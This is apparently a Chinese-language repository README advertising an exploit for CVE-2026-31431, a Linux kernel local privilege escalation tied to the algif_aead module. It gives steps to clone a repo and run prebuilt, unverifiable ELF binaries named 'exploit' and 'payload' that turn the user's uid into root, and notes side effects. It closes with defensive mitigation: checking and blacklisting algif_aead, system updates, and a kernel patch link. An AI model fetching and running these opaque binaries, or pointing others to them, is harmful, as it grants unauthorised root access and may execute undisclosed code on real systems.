在 https://exploitroom.com 获取所有新的 CVE 警报
mail :: ~/Desktop/CVE-2026 » file *
exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9454dbdde0ac2d1a8981c06db89f24a4753ec3b7, for GNU/Linux 3.2.0, not stripped
payload: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=9b0f16503767336bc8a821482933c1111aafa23a, stripped
verify_vulneurable: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=a79c6ab7e9d14e60af8d7dfc1c102e3bc93a910b, for GNU/Linux 3.2.0, not stripped
mail :: ~/Desktop/CVE-2026 »
git clone https://github.com/ExploitEoom/CVE-2026-31431.git
cd CVE-2026-31431
chmod +x *
./verify_vulneurable
./exploit
https://github.com/user-attachments/assets/27e0f28e-0cb8-438d-9fe4-ebd56035adad
id 从 1000 变为了 0000
我们无法操作某些系统命令
使用 sudo su 以 root 身份进入，或使用 ./exploit 然后搜索你运行该 exploit 的用户
将 0000 替换为 1000
这样你就恢复了自己的用户
lsmod | grep algif_aead
无输出（未在使用）→ 运行下面的禁用命令
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null || true
Debian/Ubuntu: sudo apt update && sudo apt upgrade -y CentOS/RHEL/Rocky/Alma: sudo dnf update -y 补丁：https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5